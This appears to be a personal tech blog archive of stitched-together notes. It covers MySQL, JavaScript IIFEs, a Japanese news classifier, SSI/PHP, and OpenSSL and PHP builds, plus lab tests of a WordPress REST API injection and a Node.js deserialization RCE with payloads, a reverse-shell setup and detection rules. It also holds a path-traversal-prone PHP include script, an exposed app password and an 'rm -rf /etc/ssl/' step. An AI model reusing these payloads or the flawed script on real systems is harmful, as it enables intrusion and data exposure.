Export data:
mysqldump -u username -p -t databasename table1 table2 --where id=1 > dump.sql
Import data:
mysql -uUsername -pPassword databasename
Export data:
mysqldump -u username -p -t databasename table1 table2 --where id=1 > dump.sql
Import data:
mysql -uUsername -pPassword databasename
Immediately-invoked function expression (IIFE) is a JavaScript idiom
which enables immediate execution of fuction just after its definition.
https://en.wikipedia.org/wiki/Immediately-invoked_function_expression
I've just gotten the information of IIEF through vulnerability testing for Node.js
discribed as follwing.
http://www.reverse-edge.com/mt/know-how/2017/02/entry.html
It is called "即時関数" in Japanese.
http://qiita.com/katsukii/items/cfe9fd968ba0db603b1e
We can define IIEF function by adding "()" after function definition.
- Test for IIFE vs normal function
Sample:
---------------
console.log("---IIFE test---");
var n = 1;
var iife = (function(x) {
console.log("IIFE executed!n=:"+x);
return x;
})(n);
n = 999;
console.log("n:"+n);
console.log("---Normal function test---");
var m=1;
myObj = new Object();
myObj.normalFunc = function(x){
console.log("normalFunc executed!m=:"+x);
return x;
}
m=999;
console.log("m:"+m);
myObj.normalFunc(m);
---------------
Result:
---IIFE test---
IIFE executed!n=:1
n:999
---Normal function test---
m:999
normalFunc executed!m=:999
-------------
As you can see, IIEF function is executed automatically just after its definition
whereas normal function should be called explicatly.
It's some convenient feature, however it can read to security problems
if we use it without security consideration.
Some serialize modules enable including IIEF function in JSON.
http://www.reverse-edge.com/mt/know-how/2017/02/entry.html
- Unserialize test for IIFE vs normal function
Refer the following article.
http://qiita.com/yasunori/items/31a23eb259482e4824e2
https://github.com/yasunori/Random-Forest-Example
http://qiita.com/katsuyuki/items/65f79d44f5e9a0397d31
- 必要なソフトのインストール- ------
Mecab本体
wget -O mecab-0.996.tar.gz
"https://drive.google.com/uc?export=download&id=0B4y35FiV1wh7cENtOXlicTFaRUE"
cd mecab-0.996/
./configure --with-charset=utf8 --enable-utf8-only
make
make install
辞書
wget -O mecab-ipadic-2.7.0-20070801.tar.gz
"https://drive.google.com/uc?export=download&id=0B4y35FiV1wh7MWVlSDBCSXZMTXM"
cd mecab-ipadic-2.7.0-20070801
./configure --with-charset=utf8
make
make install
Mecab python API
pip install mecab-python3
gensim
pip install --upgrade gensim
共有ライブラリにパスが通っていないので、通す。
echo /usr/local/lib > /etc/ld.so.conf.d/custom.conf
これで読み込む
ldconfig
http://www.rondhuit.com/download.html#ldcc
から記事ファイルを取ってきて解凍する
- 辞書の読み込みと学習- ------
# -*- coding: utf-8 -*-
from sklearn.ensemble import RandomForestClassifier
from sklearn.cross_validation import train_test_split
from sklearn.grid_search import GridSearchCV
from sklearn.metrics import classification_report
import corpus
from gensim import corpora
def main():
# 辞書の読み込み
dictionary = corpora.Dictionary.load_from_text('livedoordic.txt')
#dictionary = corpus.get_dictionary(create_flg=False)
# 記事の読み込み
contents = corpus.get_contents()
辞書ファイルが重要。今回は
livedoordic.txt
というファイル。
これを読み込みできている前提にする。
# 特徴抽出
data_train = []
label_train = []
for file_name, content in contents.items():
data_train.append(corpus.get_vector(dictionary, content))
label_train.append(corpus.get_class_id(file_name))
# 分類器
estimator = RandomForestClassifier()
# 学習
estimator.fit(data_train, label_train)
# 学習したデータを予測にかけてみる(ズルなので正答率高くないとおかしい)
#print("==== 学習データと予測データが一緒の場合")
#print(estimator.score(data_train, label_train))
# 学習データと試験データに分けてみる
data_train_s, data_test_s, label_train_s, label_test_s = train_test_split(data_train, label_train, test_size=0.4)
# 分類器をもう一度定義
estimator = RandomForestClassifier()
# 学習
estimator.fit(data_train_s, label_train_s)
print("==== 学習データと予測データが違う場合")
print(estimator2.score(data_test_s, label_test_s))
- 分類させてみる- ------
# -*- coding: utf-8 -*-
import MeCab
mecab = MeCab.Tagger('mecabrc')
def tokenize(text):
'''
とりあえず形態素解析して名詞だけ取り出す感じにしてる
'''
node = mecab.parseToNode(text)
while node:
if node.feature.split(',')[0] == '名詞':
yield node.surface.lower()
node = node.next
def get_words(contents):
'''
記事群のdictについて、形態素解析してリストにして返す
'''
ret = []
for k, content in contents.items():
ret.append(get_words_main(content))
return ret
def get_words_main(content):
'''
一つの記事を形態素解析して返す
'''
return [token for token in tokenize(content)]
# 2記事の一部だけ取り出しました
# 1つめがITライフハック、2つめが独女通信の記事です。
if __name__ == '__main__':
words = get_words({'movie-enter-6149578.txt': '緻密なアニメーションによって悪目立ちする、主人公の浅さと短絡的な展開。『秒速5センチメートル』や『言の葉の庭』など、美しいアニメ作品で知られる新海誠監督の最新作『君の名は。』が、国内の興行収入で100億円を突破するという快挙を成し遂げた。メディアや大衆から絶賛を受け続けている本作は、確かに魅力的な作品である。しかし、筆者にはどうも腑に落ちない点が散見された。今回はネタバレにならない範囲で、本作が孕む問題に迫ってみる。...........途中省略...............これまでと同様、新海監督は、実に美しいアニメーションを紡いだ。キャラクターから細やかな背景に至るまで、その美しさは日本アニメ史上屈指のレベルと言えるだろう。これは否定しようがない。興行収入100億円超えも、実に立派である。しかし、主人公のキャラ付けの浅さと、結末に至るまでの描写不足という作品の瑕疵は、看過されるべきではない。新海監督は、もっと上のレベルに行けるはずである。本作が、彼のキャリアにおける最高傑作にならないことを期待したい。'})
print(words)
これでwordsオブジェクトを作成できた。
from gensim import corpora, matutils
# dictionary は既に作成済みとして......
tmp = dictionary.doc2bow(words[0])
dense = list(matutils.corpus2dense([tmp], num_terms=len(dictionary)).T[0])
print(dense)
で、頻度のリストが作成される。
label_predict = estimator.predict(dense)
print(label_predict)
Qiita
scikit-learnとgensimでニュース記事を分類する - Qiita
こんにちは、初心者です。 適当なニュース記事があったとして、ニュースのカテゴリを推測するみたいな、よくあるやつをやってみました。Python3.3を使いました。 ## 何をやるの? データセットはlivedoorニュースコーパス...
http://www.atmarkit.co.jp/ait/articles/0107/17/news003.html
- Create shtml
# cat ssi.shtml
<html>
<body>
<!--#include virtual="/mt/know-how/importTXTCustom.php" -->
</body>
</html>
Notice:
Full path include is not allowed in my server environment(sakura VPS).
(Probably it depends on server setting.)
I got the following error message:
------
[include:error] [pid 10666] [client 101.111.243.105:54515] unable to include "/opt/rh/httpd24/root/var/www/html/mt/know-how/blog.php" in parsed file /opt/rh/httpd24/root/var/www/html/path/ssi.shtml, subrequest returned 404
------
You Can also use parameter as followings:
<!--#include virtual="/mt/know-how/importTXTCustom.php?filename=SSI.txt" -->
- Create php included by shtml
# cat /opt/rh/httpd24/root/var/www/html/mt/know-how/importTXTCustom.php
<?php
if (isset($_GET['filename'])) {
$filename=$_GET['filename'];
} else if(isset($argv[1])) {
$filename=$argv[1];
} else{
echo 'Please specify filename using "?filename={filename}"';
}
$filepath='/opt/rh/httpd24/root/var/www/html/mt/know-how/'.$filename;
//echo 'filepath:'.$filepath;
$fp = fopen($filepath, "r");
$i=0;
while ( $line = fgets( $fp ) ) {
$line = htmlspecialchars($line);
// title
if ($i==0) {
$line = "<h1>".$line."</h1>";
echo nl2br("\n");
}
// Sub title
else if (preg_match('{^-}',ltrim($line), $matches)) {
$line = "<b>".$line."</b>";
echo nl2br("\n");
}
// Other
else {
// Link
if (preg_match('{(http|https)://}',ltrim($line), $matches)) {
$line = '<a href="'.$line.'" target="blank">'.$line.'</a>';
echo nl2br("\n");
}
// normal sentense
else{
$line = "<pre>".$line."</pre>";
}
}
echo $line;
$i++;
}
fclose($fp);
?>
- Enable SSI in httpd.conf
-----
<Directory "/opt/rh/httpd24/root/var/www/html/path">
Options +Includes
</Directory>
-----
Add following settings in <IfModule mime_module>
-----
AddType text/html .shtml
AddHandler server-parsed .shtml
-----
Restart httpd
- Access shtml, then included php code is executed by SSI.
https://www.reverse-edge.com/path/ssi.shtml
https://www.jpcert.or.jp/english/at/2017/at170006.html
PoC
------
POST /wordpress/wp-json/wp/v2/posts/1?id=1abc HTTP/1.1
Host: localhost
Content-Type: application/json; charaset=UTF-8
Content-Length: 56
{"title": "title", "content": "content"}
------
curl -X POST -H "Content-Type: Application/json" -d '{"title":"API","content":"sample"}' http://localhost/wordpress471/wp-json/wp/v2/posts/1?id=1A
- Normal REST API use
We can post blog as following:
(In order to use REST API, we need to install Application Passwords plugin, and set temporary password for application.)
------
POST /$WP_HOME/wp-json/wp/v2/posts/1/ HTTP/1.1
Authorization: Basic {base64encoded ID:Pass}
User-Agent: curl/7.29.0
Host: localhost
Accept: */*
Content-Type: Application/json
Content-Length: 53
Connection: close
{"title":"API","content":"sample","status":"publish"}
------
curl -X POST --user "admin:uktU lOA7 wIMn OBZc" -H "Content-Type: Application/json" -d '{"title":"API","content":"samublish"}' http://localhost/$WP_HOME/wp-json/wp/v2/posts/1/
http://www.tam-tam.co.jp/tipsnote/cms/post10274.html
https://developer.wordpress.org/rest-api/reference/posts/#create-a-post
- Mitigations
- Restrict URL of REST API
Configuration example for Apache.
Add the following setting to httpd.conf :
<Location "/$WP_HOME/wp-json">
Order deny,allow
Deny from all
Allow from 127.0.0.1
</Location>
Notice:
Location and LocationMatch cannnot be defined in .htaccess.
They can be defined only in server config file such as httpd.conf.
http://httpd.apache.org/docs/current/mod/core.html#location
http://httpd.apache.org/docs/current/mod/directive-dict.html#Context
- Deny requests containing malicious payload using WAF
Rule example for mod security
SecRule REQUEST_URI "/wp-json/wp/v2/posts/[0-9]+\?id=" "id:001,phase:2,t:none,log,deny,msg:attack"
From modsec_audit.log:
-----------
POST /$WP_HOME/wp-json/wp/v2/posts/1?id=1abc HTTP/1.1
Host: localhost
Content-Type: application/json; charaset=UTF-8
Content-Length: 54
{"title": "PPAP", "content": "I have a pen!!!!"}^M
HTTP/1.1 403 Forbidden
Message: Access denied with code 403 (phase 2). Pattern match "/wp-json/wp/v2/posts/[0-9]+\\?id=" at REQUEST_URI. [file "/etc/httpd/modsecurity.d/activated_rules/wprestapi_rule.conf"] [line "1"] [id "001"] [msg "attack"]
-----------
- Default version of OpenSSL distributed by each major OS:
Cent7: openssl-1.0.1e-42.el7.9.x86_64
Cent6: openssl-1.0.1e
Ubuntu 16 : 1.0.2g-1ubuntu4.5
Ubuntu 14 : 1.0.1f
debian 8: 1.01t
debian 9 (stretch) 1.1.0d-2
- Installation of OpenSSL
(testing in Ubuntu)
http://www.openssl.org/source/
Remove default pkg.
dpkg --purge openssl
rm -rf /etc/ssl/
apt-get remove libgnutls-openssl27
dpkg -l | grep openssl
Install desired ver.
./config
make
make install
export LD_LIBRARY_PATH=/usr/local/lib/
- Launch openssl client
openssl s_client -connect IP:443
I've implemented ssl for my web site using Let's encrypt.
Gamzatti's SSL site- Install httpd24 in CentOS 6 Install dirs are followings. /opt/rh/httpd24/ /etc/httpd24
yum install httpd24-mod_ssl.x86_64
- Stop httpd /etc/rc.d/init.d/httpd24-httpd stop - Create SSL certificate using Let's encrypt /var/tmp/ssl/letsencrypt ./letsencrypt-auto certonly -a standalone -d www.reverse-edge.com SSL certificate files are created the following directory. /etc/letsencrypt/live/www.reverse-edge.com/ - Setting ssl.conf DocumentRoot "/opt/rh/httpd24/root/var/www/html" ServerName www.reverse-edge.com:443 SSLProtocol all -SSLv2 -SSLv3 SSLCertificateFile /etc/letsencrypt/live/www.reverse-edge.com/fullchain.pem SSLCertificateKeyFile /etc/letsencrypt/live/www.reverse-edge.com/privkey.pem - Start httpd
yum install httpd-devel yum install libxml2-devel # which apxs /usr/bin/apxs ./configure --with-apxs2=/usr/bin/apxs make make install
/etc/httpd/conf/httpd.conf 以下はもともと有効 LoadModule php5_module /usr/lib64/httpd/modules/libphp5.so 末尾に以下を追記SetHandler application/x-httpd-php /usr/local/lib/php.ini short_open_tag = On systemctl restart httpd [root@websv html]# httpd -v Server version: Apache/2.4.6 (CentOS) Server built: Nov 14 2016 18:04:44 [root@websv html]# php -v PHP 5.6.30 (cli) (built: Jan 21 2017 15:20:35)
httpdはcent6 用のhttpd24パッケージを入れた。 インストール先は/opt/rh/httpd24/ yum install httpd24-httpd-devel 以下に基づいてシンボリックリンク作成 http://serverfault.com/questions/646873/how-to-configure-lib-path-for-apache-utilities cd / ln -s /opt/rh/httpd24/root/usr/lib64/httpd .
必要なモジュールインストール yum install libxml2-devel phpをソースからビルド ./configure --with-apxs2=/opt/rh/httpd24/root/usr/bin/apxs make make install make installでエラー発生 Installing PHP SAPI module: apache2handler /httpd/build/instdso.sh SH_LIBTOOL='/apr-1/build/libtool' libphp5.la /opt/rh/httpd24/root/usr/lib64/httpd/modules /apr-1/build/libtool --mode=install install libphp5.la /opt/rh/httpd24/root/usr/lib64/httpd/modules/ /httpd/build/instdso.sh: line 63: /apr-1/build/libtool: そのようなファイルやディレクトリはありません apxs:Error: Command failed with rc=8323072 シンボリックリンクを貼ってからmake installしたら、解決 ln -s /usr/bin/libtool /apr-1/build/libtool [root@gamzatti php-5.6.30]# which php /usr/local/bin/php [root@gamzatti php-5.6.30]# php -v PHP 5.6.30 (cli) (built: Jan 28 2017 21:46:29)
参考にしたページ CentOS6にMovableTypeを導入してみました
上記を参考にインストール yum install perl-CPAN
http://www.reverse-edge.com/cgi-bin/mt/mt-check.cgi の結果に基づいて、必要なモジュールをインストール install DBD::mysql mysql_configがないというエラーが出たので、mysql-develインストール yum install --enablerepo mysql56-community mysql-devel 再度DBD::mysqlをインストールしたら成功
mysql> create database mt; mysql> grant all on mt.* to mt@localhost identified by 'xxx';
以下にアクセスし、インストール http://www.reverse-edge.com/cgi-bin/mt/mt.cgi
yum install ImageMagick-perl
Vulnerability test of Node.js
Exploiting Node.js deserialization bug for Remote Code Execution(CVE-2017-5941)----------- var serialize = require('node-serialize'); var obj = '{"rce":"_$$ND_FUNC$$_function (){console.log(\'exploited\')}()"}'; var objS = serialize.unserialize(obj); typeof objS === 'string'; console.log(objS); ---------------- result: exploited { rce: [Function] }
var serialize = require('node-serialize'); var obj = '{"rce":"_$$ND_FUNC$$_function () {console.log(\'exploited\')}"}'; var objS = serialize.unserialize(obj); objS.rce(); typeof objS === 'string'; console.log(objS); ---------------- result: { rce: [Function] } --> function is not executed without "objS.rce();"
exploit payload: ===== GET / HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Cookie: profile=eyJyY{omitted}9Cg== Connection: close If-None-Match: W/"a-oL/mTlWw0eWc0S2LtoyC/g" Cache-Control: max-age=0 ===== Decoded payload: {"rce":"_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32, {omitted},84,41,59,10))}()"} c.f. Normal payload === GET / HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Cookie: profile={base64 encoded strings} Connection: close If-None-Match: W/"a-oL/mTlWw0eWc0S2LtoyC/g" Cache-Control: max-age=0 ==== {"username":"ajin","country":"india","city":"bangalore"}
If decorded strings contains "eval(" or "()", issue alert and exit. ---- var str = new Buffer(req.cookies.profile, 'base64').toString(); if ( str.match(/eval\(|\(\)/)) { console.log("exploit payload detected!!!"); res.send("Server error"); return; } var obj = serialize.unserialize(str); ----
- Download binary from official page - Copy binary to /usr/local - Set environment val export NODE_PATH=/usr/local/lib/node_modules - Install required module npm install -g {modulename} npm install -g node-serialize Installed modules can be listed with: npm list --depth=0 -g - Launch node.js application node xx.js
- Launch test application node deserialization.js - Create payload python nodejsshell.py 127.0.0.1 1337 - Encode payload with base64 base64 payload.txt | tr -d '\n' - Launch nc for listening reverse shell nc -l 127.0.0.1 1337 - Exploit using burp